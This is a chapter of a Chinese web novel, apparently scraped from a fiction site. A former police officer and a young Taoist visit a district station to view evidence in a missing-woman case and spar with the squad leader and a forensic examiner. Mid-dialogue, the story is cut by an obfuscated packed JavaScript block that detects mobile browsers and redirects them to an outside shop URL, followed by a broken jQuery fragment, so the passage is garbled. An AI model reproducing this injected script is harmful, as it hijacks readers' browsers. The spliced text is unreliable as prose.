文趣网 > 其他小说 > 阿sir今日也在投喂小道士 > 11. 第 11 章
    “水火未济。上离为火,下坎为水,水火不交,阴阳失其正位,恐有凶象。”李羽顿了顿,声音低了些,“我叫她最近要早点收摊回家,想给她平安符,可她不愿收……”

    少年眉眼耷拉着,有些失落。

    梁逸飞看了他一会儿,一把将自己那支棉花糖塞回他手里。

    “大叔?”李羽一愣,“这是给你的。”

    “我不用吃,心意领了。”梁逸飞转身就走。

    李羽看着手里的两支棉花糖,眨眨眼,咬上一口才小跑着跟上去。

    “大叔真的不吃吗?很甜的。”

    “大人不吃小孩的东西。”梁逸飞瞥了眼他嘴角沾着的糖丝,“赶紧走了,还要补笔录,再不去人都要下班了。”

    “……哦。”

    -

    警局的补充笔录二十分钟就结束了。

    内容也无非是把报案时的细节再过一遍,血迹怎么发现的,去福婶家的目的,和福婶的关系……

    流程走完,两个接待的警员客客气气地把梁逸飞送到大厅。

    “今天辛苦梁队跑一趟。”脸上有小雀斑的警员陪着笑,“后续案子有进展,我们会第一时间通知您,之后如果有需要补充的……”

    “明白,规矩我懂,随时联络。”梁逸飞笑笑,“另外,物证的碎玉,方便让我再看一眼吗?”

    两个警员一愣,对视一眼,面露难色。

    “梁队……呃,”另一个警员挠挠头,“物证已经归档了,调取需要手续,您看……”

    “我就隔着证物袋看,不动。”梁逸飞语气平淡,“这案子我也算半个报案人,有些细节之前走得匆忙,没看真切。”他顿了顿,扬起个还算客气的笑,“时间还早,手续也不麻烦,我可以等。这案子主要也是家里老人惦记,我总得带点确切消息回去,好让老人家安心,就麻烦你们了。”

    两人交换个眼神,雀斑警员扯出个笑:“那……梁队您稍坐,我们去请示下领导。”

    梁逸飞微笑颔首,目送他们匆匆往办公室方向去。

    “……都辞职多少年了还‘梁队’。”

    “你小声点,瘦死的骆驼比马大,他那爹可还在上头呢……”

    “那又怎样,当年‘715’不就是他——”

    “——嘘!”

    刻意压低的议论从走廊阴影里漏出来,又被迅速掐断。

    梁逸飞像是没听见,施施然转身朝大厅的排椅走去。

    李羽就乖乖坐在那儿,捧着个纸杯小口小口嘬着,瞧见他过来,又去饮水机接了杯温水递给他。

    “大叔,我们什么时候能看福婶的碎玉?”少年轻声问。

    “不着急。他们领导还在开会,要等等。”梁逸飞接过水,在他身边坐下,随意打量起大厅的装潢。

    荔塘区局他不常来,但也不算陌生。当年市局牵头的“715”联合扫黑行动,这边出力最大,他那会儿带的小队里,就有几个是荔塘分过来的人。

    只不过如今,这里没人待见他。

    不时有路过的民警认出他,客气笑笑,打个招呼,走远了,就是窃窃私语和探究的目光。

    原因无他,当年他要辞职,这儿的支队长骂他骂得最凶。

    分局里的同僚归同僚,但终究各有地界。老大恨他,手下的人就算面上客气,心里也隔着一层。

    “大叔,”李羽轻轻戳他,“他们在说你坏话。”

    “我知道。”

    “大叔不生气吗?”

    “我为什么要生气?”梁逸飞轻哼一声,将温水一饮而尽,纸杯摁瘪在掌心里,“几句闲话而已。”

    李羽望着那几个拐进办公区的背影,想了想,低头看着纸杯里晃荡的水面:“但师傅说,背后语人是非,会积口业,损功德。”

    “损功德?”梁逸飞侧头看他,忽然低笑出声,懒洋洋靠上椅背,“这里可谓是人世间功德最满的地方之一,真要损了,破了案,不就又积回来了?谁会在乎。”

    他望着走廊方向,长吁一口,“别人说你闲话不可怕,怕的是没人信你说的是实话。”

    李羽脸上懵懂,眼神里却拧着股执拗的气,像是在替他不平。

    梁逸飞觉得有趣,抬手揉乱他头发:“这就生气了?要是有人骂我句难听的,难不成你还怼回去?”

    李羽眨眨眼,认真点下头:“师傅说,遇恶人,当头棒喝,亦是功德。”

    梁逸飞一乐:“然后你就会像上次一样,被人抓了关起来。”

    正说着,里头一间会议室门开了。

    人群鱼贯而出,个个面带倦色,是刚结束案情分析会的法医和技术人员。

    为首的正是荔塘区刑侦大队支队长冼明,身后跟着那雀斑警员,旁边还有个西装革履的男人,正一边取下眼镜揉鼻梁,一边低头敲手机。

    “笔录补完了就让他滚,普通民众看什么物证,档案室是什么阿猫阿狗都能进的?”冼明压着声音,不耐烦摆摆手,转头又对男人扬起个客气的笑,“今天辛苦周法医莅临指导,回头有空一起喝茶……”

    “冼队火气旺,平时多喝点夏桑菊下下火。”周铭锋推回眼镜,一抬头,正好和排椅上的梁逸飞对个正着。

    几乎同一瞬,两人都微微挑眉,上下扫了彼此一眼。

    李羽跟着看过去,莫名嗅到一□□味。

    “靠……”冼明暗骂一声,偏头瞪了那雀斑警员一眼,“他怎么还在这?!”

    雀斑一脸欲哭无泪,心说这不人家要看物证,自己请示领导来了吗?要真二话不说把人轰出去,万一人家回头找副局长父亲告状,自己这饭碗还要不要了?

    话自然是不敢说的。可眼见周铭锋脚步一顿,径直就朝排椅走过去,冼明也只能硬着头皮,把人打发走,也跟上前。

    “哟,”周铭锋在梁逸飞跟前站定,悠然道,“梁副队生意兴隆啊,送烧鹅的业务都拓展到区局来了?”

    “糊口罢了,今天只是来补充笔录,尽一下市民义务。”梁逸飞掀起眼皮看他,面不改色,“倒是周大法医日理万机,什么案子能让您加班加到这来,”他一顿,瞥了眼边上满脸不爽的冼明,“看来区局的法医业务水平有待提高啊。”

    冼明额角一跳:“你——!”

    “市局抽调,例行交叉复核而已。”周铭锋抬手止住他,语气淡淡,扫了李羽一眼,冷笑一声,“梁副队现在都兼职当保姆了?不在家里斩烧鹅,跑来区局喝茶?”

    他扭头看向冼明,眉尾轻挑,“怎么区局的警务人员不负责照顾证人?”

    冼明被噎得脸涨,当场就想把手下人拽回来训,但没等他开口,又听梁逸飞说:“那没有,贵局服务周到,只是小孩想再看看证物,这不被请到外头‘稍作等候’来了。”

    说着,他抬手按了按李羽的脑袋。

    少年对上他眼神,愣了下,眼珠子滴溜一转,一脸认真地仰起头:“福婶给我好吃的,是好人。碎玉是我发现的,我要找到线索,去找福婶

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490532|202200||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下落。”

    冼明:“……”

    周铭锋:“……”

    梁逸飞眉毛一挑,满意揉了把李羽脑袋。

    周铭锋目光在李羽干净的脸上停留一瞬,鄙夷扫了梁逸飞一眼,转向冼明:“冼队,你们区局现在办案……还得靠未成年提供情绪价值?”

    冼明脸更黑了。

    李羽眨眨眼,严肃道:“我成年了。”

    梁逸飞没忍住,低头抿着嘴“噗”了一声。

    冼明被这一大一小堵得哑口无言,满腔火气又碍着市局的面子不好发作,憋了半天,也只能咬牙扔下一句:“……行,给我等着。”

    说完,气势汹汹就往办公区里走,“乐仔!滚过来跟我去证物室!”

    “啊!来了!”里头应了声,就见那雀斑警员连滚带爬地冲出来,跟着冼明,头也不回地消失在走廊拐角。

    等人走了,周铭锋才收回视线,拿起手机扫了眼,眼尾漾开一抹浅笑。

    他长得高挑,浑身上下没半点一线警员风吹日晒的粗糙,只有常年窝在解剖台前搞研究的冷白。金边眼镜是他脸上唯一的色彩,却平白添了股狠戾,冷得生邪。

    李羽看着他镜片上的反光,不自觉打了个寒颤。

    “有空?”梁逸飞问。

    “没空,要去接我女儿放学。”周铭锋漠然收回手机,“莫名其妙冒出来,又想掺和一脚?”

    “我还什么都没干呢。”梁逸飞耸耸肩,“你们结案了?”

    周铭锋斜他一眼,抱起手:“家属无异议,尸检无异常,致命伤符合高坠特征,不结案等着过年吃席?”

    梁逸飞不以为意。

    对视一眼就知道他有事要求,开口一问就知道提的是哪个案子,都不知该无奈这打从警校里就磨出来的默契,还是总想找坑挖对方一嘴苦的敏锐。

    他轻叹一口,身体前倾,双手撑着下巴:“DNA报告出来了,现场确实是福婶的血。”

    “所以?”

    “但我现在找不到福婶尸体。”

    周铭锋皱眉:“找不到尸体是刑侦的事,关我法医什么事。”他话音一顿,“又关你梁逸飞什么事。”

    梁逸飞没说话,只扯了扯唇角。

    是啊,他早就不做警察了,不过一个区区烧鹅佬,就敢在别人的地盘谈线索,谈破案,还总想揪着一点蛛丝马迹,一点近乎多此一举的固执不放,任谁看都是个吃饱了撑的神经病。

    但他还挺引以为傲的。

    因为只相信自己的眼睛,相信自己的直觉。

    虽然这里没人相信他。

    “黑气。”

    周铭锋闻言一怔,冷笑道:“在这胡言乱语,不怕冼明听见了第一个冲出来把你大卸八块?”

    他话音刚落,就听见走廊深处“砰”的一声甩门响,不多时冼明便气急败坏地拎着证物袋出来,身后跟着战战兢兢的乐仔。

    “下次这种破事不用问我!他要看就给他看!赶紧打发他走!少沾点晦气!”

    “知、知道了冼队……”

    周铭锋轻哼一声,转身就要走:“不过你放心,好歹四年同窗,真到那时候我也会大发慈悲地帮你拼回去。”

    梁逸飞慢悠悠站起身,李羽见状,也乖乖放下水杯站起来。

    “那如果我说,”梁逸飞迎着冼明的怒视,压低声,稍稍朝周铭锋偏头,“跳楼案死者脸上的浮黑,关‘黑气’的事呢?”

    周铭锋脚步一顿,漠然看向他。